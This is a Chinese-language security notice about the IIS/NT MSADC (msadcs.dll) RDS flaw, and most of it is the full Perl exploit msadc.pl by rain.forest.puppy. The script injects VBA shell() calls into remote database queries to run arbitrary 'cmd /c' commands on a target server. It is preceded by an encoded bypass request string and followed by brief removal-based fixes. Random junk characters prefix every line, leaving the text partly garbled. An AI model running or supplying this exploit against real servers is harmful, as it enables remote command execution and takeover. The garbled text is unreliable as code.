IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
iV9wqUkMv &"HxAK)f 涉及程序:
)9/.K'o,dy Microsoft NT server
A!EmJ h OYm
=r 描述:
9R_2>BDn 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
9/A$3#wF 5=/&[= 详细:
/`(Kbwh 如果你没有时间读详细内容的话,就删除:
0XouHU c:\Program Files\Common Files\System\Msadc\msadcs.dll
UNLmnj;-Q 有关的安全问题就没有了。
X3[gi` W\]bh'( 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
=KQQS6 &Tz@lvOv% 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
vByt_X 关于利用ODBC远程漏洞的描述,请参看:
=&+]>g{T 337y,; http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm eC%uu =5:L#` . 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
z4t.-9(C http://www.microsoft.com/security/bulletins/MS99-025faq.asp 7AwV4r*: [5[}2B_t 这里不再论述。
F`!B!uY J|*Z*m 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
-s~6FrKy y?=W /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
%
mP%W< 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
U'(Exr[ E/bIq}R6 K:!){a[ #将下面这段保存为txt文件,然后: "perl -x 文件名"
qHwHP 1 GMk\
l #!perl
k^<s|8Y #
TUE*mDRmP # MSADC/RDS 'usage' (aka exploit) script
}f
rij1/G #
LDg"s0n# # by rain.forest.puppy
gut[q #
DI9hy/T( # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
<//82j+px # beta test and find errors!
eKRslMa mL5 Nu+# use Socket; use Getopt::Std;
j
/d?c5 getopts("e:vd:h:XR", \%args);
\9;SOA v vjo@aY.x print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
j^4KczJl zk6al$3R if (!defined $args{h} && !defined $args{R}) {
RYhaQ&1i print qq~
)"( ojh Usage: msadc.pl -h <host> { -d <delay> -X -v }
8aDSRfv* -h <host> = host you want to scan (ip or domain)
hz:^3F`>/& -d <seconds> = delay between calls, default 1 second
$'Pn(eZHGv -X = dump Index Server path table, if available
,E7+Z' ; -v = verbose
w$5~'Cbi -e = external dictionary file for step 5
hbZ]DRg woSO4e/ Or a -R will resume a command session
v %?y5w z@70{* ~; exit;}
!WT Z=| ~Te9Lq | $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
WUC-*( if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
'eM90I%( if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
L# if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
3o).8b_3g $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Vgh;w-a if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Z)JJ-V!
|AosZeO_ if (!defined $args{R}){ $ret = &has_msadc;
4Sj;38F
.1 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
%:jVx 2X];zY print "Please type the NT commandline you want to run (cmd /c assumed):\n"
2/*F}w/ . "cmd /c ";
#9R[%R7Nz $in=<STDIN>; chomp $in;
!@6P>HzY$ $command="cmd /c " . $in ;
XsH(8-n0 JpI(Vcd if (defined $args{R}) {&load; exit;}
*
':LBc=% *.'9 eC0s print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
F'v3caE &try_btcustmr;
3Jt7IM!9[ B~%'YQk print "\nStep 2: Trying to make our own DSN...";
O?p8Gjf &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
[H~Yg2O gKp5* print "\nStep 3: Trying known DSNs...";
S%NS7$`a &known_dsn;
M-#OPj* Lg;b17 print "\nStep 4: Trying known .mdbs...";
YN=dLr([< &known_mdb;
SHoov su?{Cj6* if (defined $args{e}){
96V@+I print "\nStep 5: Trying dictionary of DSN names...";
ym\AVRO{ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
E1|> O 1q?b?. print "Sorry Charley...maybe next time?\n";
PpxLMe] exit;
qVHXZdGL )+Nm@+B ##############################################################################
?MW*`U 9+z5$ sub sendraw { # ripped and modded from whisker
RFsd/K; Zp sleep($delay); # it's a DoS on the server! At least on mine...
[RAzKzC\M my ($pstr)=@_;
Fi7G S; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
rNi]|)-ET die("Socket problems\n");
$ 8"we if(connect(S,pack "SnA4x8",2,80,$target)){
a\K__NCrX select(S); $|=1;
jY~W* print $pstr; my @in=<S>;
|JUb 1|gi select(STDOUT); close(S);
@&I7z, return @in;
0Q>yv;M } else { die("Can't connect...\n"); }}
f *Xum[ /.knZ_aJ! ##############################################################################
6%jv|\> JYAtQTOR sub make_header { # make the HTTP request
`6R.*hq my $msadc=<<EOT
# POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
1 #zIAN> User-Agent: ACTIVEDATA
NWSm Host: $ip
)aV\=a |A Content-Length: $clen
"mbjS(-eg Connection: Keep-Alive
}NH\Q$ IU (f-Mm0%[ ADCClientVersion:01.06
^~p^N < Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
{6y@;Fd @;6I94Bp --!ADM!ROX!YOUR!WORLD!
#5Q?Q~E@ Content-Type: application/x-varg
"M-zBBY ] Content-Length: $reqlen
Hm>7|! mJ'Q9x" EOT
(Xak;Xum1 ; $msadc=~s/\n/\r\n/g;
-a[[1 return $msadc;}
[Iwb7a0p m
L#%H( ##############################################################################
lmsO
6=I4F 35;UE2d)< sub make_req { # make the RDS request
x|7vN E=Q my ($switch, $p1, $p2)=@_;
{?!0<0 my $req=""; my $t1, $t2, $query, $dsn;
/k$H"'`j4 'aN`z3T if ($switch==1){ # this is the btcustmr.mdb query
bu2@~ $query="Select * from Customers where City=" . make_shell();
Q5ZZ4`K! $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
I[x+7Y0k9 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
%2S+G?$M? }L!%^siG_ elsif ($switch==2){ # this is general make table query
vp[;rDsIJ$ $query="create table AZZ (B int, C varchar(10))";
LR(Q.x $dsn="$p1";}
TKwMgC}<[ a?d)lnk elsif ($switch==3){ # this is general exploit table query
4s:S_Dw $query="select * from AZZ where C=" . make_shell();
@|=JXSr!KY $dsn="$p1";}
O<*l"fw3 b`9J1p.; elsif ($switch==4){ # attempt to hork file info from index server
,k9@%{4 l $query="select path from scope()";
EMTAl;P $dsn="Provider=MSIDXS;";}
MV(Sb:RZ fwN'5ep elsif ($switch==5){ # bad query
9=l6NNe)| $query="select";
i"B q*b@ $dsn="$p1";}
9s.x%m, Mnv2tnU] $t1= make_unicode($query);
w !5@PJ)~U $t2= make_unicode($dsn);
D*nNu]|j $req = "\x02\x00\x03\x00";
.uoQ@3 $req.= "\x08\x00" . pack ("S1", length($t1));
7A@iu*t $req.= "\x00\x00" . $t1 ;
bG|aQ2HW $req.= "\x08\x00" . pack ("S1", length($t2));
odPdWV,&* $req.= "\x00\x00" . $t2 ;
&'mq).I2 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
eG@0: return $req;}
Ala~4_" WL +,g"8&> ##############################################################################
^xNs^wC. ,A{'lu sub make_shell { # this makes the shell() statement
*GGiSt return "'|shell(\"$command\")|'";}
*EB`~s ?*nFz0cs^ ##############################################################################
21LJ3rW_ cn3F3@_"\ sub make_unicode { # quick little function to convert to unicode
=*[98%b
my ($in)=@_; my $out;
.{=|N8*py8 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
id" -eMwp return $out;}
w,s++bV;L Ir,3' G ##############################################################################
-|FSdzvg @[2Go}VF sub rdo_success { # checks for RDO return success (this is kludge)
b3vPGR my (@in) = @_; my $base=content_start(@in);
fOHgz,x= if($in[$base]=~/multipart\/mixed/){
2omKP,9,2 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
AB:JXMyK return 0;}
MS=zG53y iC.k8r+~ ##############################################################################
MjNq8'$" d%EUr9~? sub make_dsn { # this makes a DSN for us
{,9^k'9 my @drives=("c","d","e","f");
$vR#<a,7> print "\nMaking DSN: ";
y-1!@|l0:6 foreach $drive (@drives) {
^p}S5, print "$drive: ";
Q ,`R-?v my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
ULJV "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Ch;wvoy . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
c*@#0B $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
"R!)"B== return 0 if $2 eq "404"; # not found/doesn't exist
'f
"KV| if($2 eq "200") {
!EuqJjh foreach $line (@results) {
8NUVHcB6 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
d41DcgG'j( } return 0;}
m4r!Ck| qb[UA5S\` ##############################################################################
: g+5cs AWG;G+ sub verify_exists {
O'i!}$=g my ($page)=@_;
-,Oq=w*EV my @results=sendraw("GET $page HTTP/1.0\n\n");
U?[_ d return $results[0];}
p_g#iH!* 7C::%OF~7 ##############################################################################
G%q^8# BPwn!ii| sub try_btcustmr {
<aPbKDF~V my @drives=("c","d","e","f");
nRSiW*;R my @dirs=("winnt","winnt35","winnt351","win","windows");
kLfk2A;' i Y+kfMA v foreach $dir (@dirs) {
m) -DrbE print "$dir -> "; # fun status so you can see progress
JHvawFBN<u foreach $drive (@drives) {
A#@9|3 print "$drive: "; # ditto
!,0%ZG}]7 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
|GLh|hr $reqlenlen=length( "$reqlen" );
uexm|5| $clen= 206 + $reqlenlen + $reqlen;
|u@/,x/t AY
B~{ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
/E32^o|,> if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
*%#Sa~iPo else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
zF([{5r[!) q-lejVS(g ##############################################################################
?r}'0dW YR? ujN sub odbc_error {
V:Lq>rs#
my (@in)=@_; my $base;
8=T[Y`;x my $base = content_start(@in);
h@H8oZ[ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
IHs^t/;Iv $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
F^/b!)4X $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
f7y3BWOi] $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
L#>^R return $in[$base+4].$in[$base+5].$in[$base+6];}
4]P5k6nV print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
ToXgl4:kd print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
&$V&gAN $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
;J&p17~T9 #=81`u ##############################################################################
]aDU* tk ?\.DG`Zxc sub verbose {
=U- w!uW my ($in)=@_;
zcrM3`Zh return if !$verbose;
#JD:i% print STDOUT "\n$in\n";}
oj'a%mx =mQdM]A)2 ##############################################################################
2Vwv#NAV k 1!P\x=Nn_ sub save {
7/># yR my ($p1, $p2, $p3, $p4)=@_;
GX\6J]x=^2 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
8rEUZk print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
m5'nqy F close OUT;}
.I#ss66h {Y7dE?!`7 ##############################################################################
,jc')#]9B -
fx?@ sub load {
Gdu5
&]H#6 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
f$|AU-|< open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Ix59(g @p=<IN>; close(IN);
tSf$`4 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
:g~X"C1s $target= inet_aton($ip) || die("inet_aton problems");
PZ[hH(EX print "Resuming to $ip ...";
'&+5L. $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
"WfVZBWG$ if($p[1]==1) {
5%#V>|@e# $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
nPRv.h $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
f[s|<U^ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
gbvMS*KQz if (rdo_success(@results)){print "Success!\n";}
rFLm!J] else { print "failed\n"; verbose(odbc_error(@results));}}
wnr<# =,I' elsif ($p[1]==3){
DN 0`vl{* if(run_query("$p[3]")){
\|f3\4;! print "Success!\n";} else { print "failed\n"; }}
,l )7]p*X elsif ($p[1]==4){
CEXD0+\q if(run_query($drvst . "$p[3]")){
ar[I|
Q_ print "Success!\n"; } else { print "failed\n"; }}
=g3o@WD/G exit;}
Z.$)# vM5 BufXnMh. ##############################################################################
;RUod .x TRJ5m?x sub create_table {
"IuHSjP my ($in)=@_;
&WV&_z $reqlen=length( make_req(2,$in,"") ) - 28;
/y-eVu6 $reqlenlen=length( "$reqlen" );
fP>~ @^ $clen= 206 + $reqlenlen + $reqlen;
_@L{]6P%V my @results=sendraw(make_header() . make_req(2,$in,""));
$O[$<D%H return 1 if rdo_success(@results);
|]UR&* my $temp= odbc_error(@results); verbose($temp);
N/V~>UJ0{* return 1 if $temp=~/Table 'AZZ' already exists/;
HD~o]l=H return 0;}
L}hc|(: Gzw9E.Hk ##############################################################################
^/M-*U8ab DV!10NqUr sub known_dsn {
@lhjO>@#I # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
6cVJu%<V my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
jV 982Y "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
[~Vj(H=KwI "banner", "banners", "ads", "ADCDemo", "ADCTest");
$Le|4Hj J-U5_>S foreach $dSn (@dsns) {
(ptk!u6 print ".";
&peUC n next if (!is_access("DSN=$dSn"));
!3;KC"o if(create_table("DSN=$dSn")){
jM5w<T-2/ print "$dSn successful\n";
<
pWk
if(run_query("DSN=$dSn")){
+zL|j/q ? print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
duq(K9S print "Something's borked. Use verbose next time\n";}}} print "\n";}
|)[I$]L S(ky: ##############################################################################
kb~;s-$O`s >[r ,X$] sub is_access {
n1 my ($in)=@_;
HE{JiAf $reqlen=length( make_req(5,$in,"") ) - 28;
A3s-C+@X $reqlenlen=length( "$reqlen" );
HS@ EV iht $clen= 206 + $reqlenlen + $reqlen;
E(p#Je|@[ my @results=sendraw(make_header() . make_req(5,$in,""));
0@LC8Bz+' my $temp= odbc_error(@results);
U.A:'9K, verbose($temp); return 1 if ($temp=~/Microsoft Access/);
d9Uv/VGp return 0;}
N_liKhq ~m6b6Aj@6 ##############################################################################
ttd
^jT aESlbH sub run_query {
2kkqPBc_
my ($in)=@_;
!L3\B_# $reqlen=length( make_req(3,$in,"") ) - 28;
wi-F@})f# $reqlenlen=length( "$reqlen" );
>`=9So_J $clen= 206 + $reqlenlen + $reqlen;
WvN{f* my @results=sendraw(make_header() . make_req(3,$in,""));
$,
vXyZ return 1 if rdo_success(@results);
e.Gjp{ my $temp= odbc_error(@results); verbose($temp);
(8td0zq
return 0;}
9NC?J@&B <X"_S'O ##############################################################################
4d63+iM+} ]9lR:V
sw sub known_mdb {
H#:Aby-d} my @drives=("c","d","e","f","g");
w<SFs#Z my @dirs=("winnt","winnt35","winnt351","win","windows");
JuD&121N* my $dir, $drive, $mdb;
=OamN7V= my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
&B?*|M`)k F&u)wI' # this is sparse, because I don't know of many
wB+X@AA my @sysmdbs=( "\\catroot\\icatalog.mdb",
;2}wrX "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
ZbfpMZ g "\\system32\\certmdb.mdb",
l>*L
Am5 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
^Rh`XE pB:/oHV my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
0Z1';A3 "\\cfusion\\cfapps\\forums\\forums_.mdb",
Id^)WEK4 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
,(;]8G-Yj "\\cfusion\\cfapps\\security\\realm_.mdb",
|
{Tq/ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
W4p4[&c| "\\cfusion\\database\\cfexamples.mdb",
Qpocj: "\\cfusion\\database\\cfsnippets.mdb",
$nqVE{ksV "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
YLv5[pV "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
VM}7 ~ "\\cfusion\\brighttiger\\database\\cleam.mdb",
;:1o|>mX "\\cfusion\\database\\smpolicy.mdb",
c|s7cG$+- "\\cfusion\\database\cypress.mdb",
w`_"R6 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
}!QVcu"+t/ "\\website\\cgi-win\\dbsample.mdb",
?p&( Af) "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
:k Kdda<g# "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
BFswqp: ); #these are just
a\B'Qe+ foreach $drive (@drives) {
-8Q}*Z foreach $dir (@dirs){
~v6]6+ foreach $mdb (@sysmdbs) {
i9eE/
. print ".";
c>%%'c if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
^i!I0Q2yd print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
vw6DHN)k if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
\rM5@
Vf print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
R q`j|tY } else { print "Something's borked. Use verbose next time\n"; }}}}}
y`\rb<AZ*t gTb%c84 foreach $drive (@drives) {
.~,=?aq^ foreach $mdb (@mdbs) {
-T2w?| print ".";
O"~CZh,:r} if(create_table($drv . $drive . $dir . $mdb)){
KnC:hus print "\n" . $drive . $dir . $mdb . " successful\n";
F$@(0c if(run_query($drv . $drive . $dir . $mdb)){
_c>8y print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
4SJb\R)XK } else { print "Something's borked. Use verbose next time\n"; }}}}
9xOTR#B:_V }
Kh7C7[& Zg$RiQ^-{J ##############################################################################
,}/6Za Gz:ell$ sub hork_idx {
Slv91c&md, print "\nAttempting to dump Index Server tables...\n";
c2wgJH!g print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
`+!F#. $reqlen=length( make_req(4,"","") ) - 28;
j:7AVnt $reqlenlen=length( "$reqlen" );
bD`h/jYv $clen= 206 + $reqlenlen + $reqlen;
#z =$*\u my @results=sendraw2(make_header() . make_req(4,"",""));
]cM,m2^2 if (rdo_success(@results)){
r2m&z%N& my $max=@results; my $c; my %d;
\k3EFSm for($c=19; $c<$max; $c++){
6t4Khiwx $results[$c]=~s/\x00//g;
nL+y"O $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
6z2%/P-' $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
g\1|<jb3 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
.u:aX$t+ $d{"$1$2"}="";}
;r}yeISf foreach $c (keys %d){ print "$c\n"; }
sBa&]9>m } else {print "Index server doesn't seem to be installed.\n"; }}
|4rqj1*U .l$U:d ##############################################################################
O>d
[;Q sAS[wcOQ sub dsn_dict {
o>HU4O} open(IN, "<$args{e}") || die("Can't open external dictionary\n");
\V
T.bUs while(<IN>){
hA1p# $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
L&0aS: next if (!is_access("DSN=$dSn"));
YySo%\d if(create_table("DSN=$dSn")){
*uoO#4g~ print "$dSn successful\n";
XD Q<28^ if(run_query("DSN=$dSn")){
dP?QPky{9 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
]GBlads print "Something's borked. Use verbose next time\n";}}}
W<:x4gBa print "\n"; close(IN);}
<"yL(s^u" .'b|pd ##############################################################################
%Ix2NdC p8j*m~4B sub sendraw2 { # ripped and modded from whisker
Muyi2F)j sleep($delay); # it's a DoS on the server! At least on mine...
7Q9| P?&:z my ($pstr)=@_;
}$b!/<7FD socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
S0`u!l89( die("Socket problems\n");
VIg6' if(connect(S,pack "SnA4x8",2,80,$target)){
L*cP8v4 print "Connected. Getting data";
8^67,I-c open(OUT,">raw.out"); my @in;
L_q3m-x0h select(S); $|=1; print $pstr;
WAf"| while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
C{~O!^2G close(OUT); select(STDOUT); close(S); return @in;
kK:U+`+ } else { die("Can't connect...\n"); }}
tLcw?aB og&-P=4O ##############################################################################
zUq(bD Qna*K7kv sub content_start { # this will take in the server headers
fr`Q
5!0 my (@in)=@_; my $c;
gv){&=9/
for ($c=1;$c<500;$c++) {
9"zp>VR if($in[$c] =~/^\x0d\x0a/){
$b)t`r+ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
iK!FVKi} else { return $c+1; }}}
Va A.J return -1;} # it should never get here actually
3vdFO: j 4v`G/w ##############################################################################
=#vJqA _9'hmej sub funky {
qWJHb Dd my (@in)=@_; my $error=odbc_error(@in);
V''fmWo7 if($error=~/ADO could not find the specified provider/){
|g'ceG- print "\nServer returned an ADO miscofiguration message\nAborting.\n";
3H|drj:KV exit;}
,(&Fb~r] if($error=~/A Handler is required/){
M 5$JB nN print "\nServer has custom handler filters (they most likely are patched)\n";
q:=jv6T# exit;}
GT\yjrCd if($error=~/specified Handler has denied Access/){
ozKS<< print "\nServer has custom handler filters (they most likely are patched)\n";
Mh
MXn;VKj exit;}}
HPg%v| N`~f77G ##############################################################################
F\^\,hy ^7yaMB! sub has_msadc {
hkdF my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
n6G&c4g<" my $base=content_start(@results);
2.vmZaKP return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
11c\C Iu return 0;}
>!Xj%RW _-rC]iQJ55 ########################
2A:&Cqo WNt':w^_ w[ $oH^7 解决方案:
m6#a{ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
'Va<GHr>+ 2、移除web 目录: /msadc